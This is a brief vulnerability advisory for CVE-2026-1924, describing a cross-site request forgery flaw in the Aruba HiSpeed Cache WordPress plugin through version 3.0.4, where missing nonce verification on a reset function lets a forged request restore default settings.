CVE-2026-1924

Description

The Aruba HiSpeed Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.0.4. This is due to missing nonce verification on the `ahsc_ajax_reset_options()` function. This makes it possible for unauthenticated attackers to reset all plugin settings to their default values via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
